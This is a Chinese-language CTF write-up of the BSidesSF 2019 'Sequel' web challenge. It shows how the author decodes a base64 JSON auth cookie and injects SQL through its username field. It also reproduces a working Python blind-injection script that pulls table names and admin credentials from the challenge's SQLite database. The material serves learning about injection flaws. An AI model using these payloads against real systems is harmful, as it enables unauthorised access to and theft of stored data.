Automne's Shadow.

BSidesSF CTF 2019 Sequel WriteUp

sqli sqlite
2019/03/07 Share

Web

这题，比赛时没有做出来，赛后看岛国小哥的WriteUp复现了一下。

进入主页，一个登陆界面

automne

使用burpsuite代理抓包，在登陆框输入admin/admin。

automne

直接放行后会返回 “Unknown user.”
从POST的body字段里看到了guest_password=guest的字段
于是尝试使用guest/guest登陆

将请求发送到Repeater里，可以看到302跳转里设置了Cookie

automne

1337_AUTH=eyJ1c2VybmFtZSI6Imd1ZXN0IiwicGFzc3dvcmQiOiJndWVzdCJ9; HttpOnly

将这段代码使用base64解密

$ python
Python 2.7.15 (v2.7.15:ca079a3ea3, Apr 30 2018, 16:30:26) [MSC v.1500 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> base64.b64decode("eyJ1c2VybmFtZSI6Imd1ZXN0IiwicGFzc3dvcmQiOiJndWVzdCJ9")
'{"username":"guest","password":"guest"}'
>>>

guest/guest登陆后的内容：

automne

接着尝试修改{“username”:“guest”,“password”:“guest”}里的内容，看能不能注入。
此处需要注意转义双引号。

{"username":"guest\" or \"A\"=\"A","password":"guest"}

然后对上面的json串base64编码，需要注意添加r符号告诉编译器不要转义反斜杠\

>>> base64.b64encode(r'{"username":"guest\" or \"A\"=\"A","password":"guest"}')
'eyJ1c2VybmFtZSI6Imd1ZXN0XCIgb3IgXCJBXCI9XCJBIiwicGFzc3dvcmQiOiJndWVzdCJ9'

然后刷新guest身份登陆的界面，抓包修改Cookie，

automne

就可以得到下图的界面，发现注入成功。

automne

这道题的数据库是sqlite，代码里userinfo表里的username和password字段目测是猜的—_—
搜索了一下，发现sqlite里查看某个表的所有字段一般使用PRAGMA命令，但是这里我获取不到。

PRAGMA table_info(xxx)

automne

贴上岛国小哥的利用代码，盲注获取数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#encoding=utf-8

import requests
import string
import base64

URL = 'https://sequel-9cba4c8e.challenges.bsidessf.net/sequels'
LETTERS = string.printable
target = ""
while True:
    f = False
    for e in LETTERS:
        tmp = target + e
        # 1.获取表名
        payload = r'{{"username":"\" or CASE WHEN SUBSTR((SELECT name FROM sqlite_master limit 0,1),{},1)=\"{}\" THEN true ELSE false END or \"","password":"guest"}}'.format(len(tmp),e)
        # 2.获取username字段内容
        #payload = r'{{"username":"\" or CASE WHEN SUBSTR((SELECT username FROM userinfo limit 1,1),{},1)=\"{}\" THEN true ELSE false END or \"","password":"guest"}}'.format(len(tmp),e)
        # 3.获取password字段内容
        #payload = r'{{"username":"\" or CASE WHEN SUBSTR((SELECT password FROM userinfo limit 1,1),{},1)=\"{}\" THEN true ELSE false END or \"","password":"guest"}}'.format(len(tmp),e)
        payload = base64.b64encode(payload)
        req = requests.Request(
            'GET',
            URL,
            params={
            },
            cookies={
                "1337_AUTH":payload
            }
        )
            
        prepared = req.prepare()
        s = requests.Session()
        r = s.send(prepared, allow_redirects = False)
        if "Movie" in r.text:
            target = tmp
            print(target)
            f = True
            break
    if f: continue
    exit()

最终得到账号密码：

sequeladmin/f5ec3af19f0d3679e7d5a148f4ac323d

直接登录，即可得到flag

automne

参考链接：https://graneed.hatenablog.com/entry/2019/03/05/204738

原文作者: Automne

原文链接: https://ce-automne.github.io/2019/03/07/BSidesSF-CTF-2019-Sequel-WriteUp/

发表日期: March 7th 2019, 10:44:13 pm

版权声明: 本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可

CATALOG
Total : 62
2021
2020
2019
2018
2017
lfsr z3 python reverse fat git broadcastreceiver sha-1 cbc sqli sqlite golang race condition luks hashcat photorec MAC sso oauth 2.0 padding oracle csp xss abe vdex ransomware frida ndk pwntools hashpumpy sourceleakhacker ecb socat fastjson JdbcRowsetImpl idea servlet volatility inet_aton boneh durfee lcg rabin egcd cipolla's algorithm spi snakeyaml ScriptEngineManager malware codereflect mysql yara plugin deserialization log4j rsa binary javascript prototype pollution nodejs shiro ysoserial primefac rsatool ssl AES tshark gmpy2 RsaCtfTool Hex flask ssti ecc Modular operation WebGoat8 order by tomcat nim game .iso gpg outguess sage google cloud sdk zsteg base58 fermat multi-primes prng rmi jndi Paillier Cryptosystem rsa lsb oracle SQL Injection ping delay xor CAS 单点登录 渗透测试 weblogic xxe reflect 010 editor gcd
Crypto Android Web Forensics Misc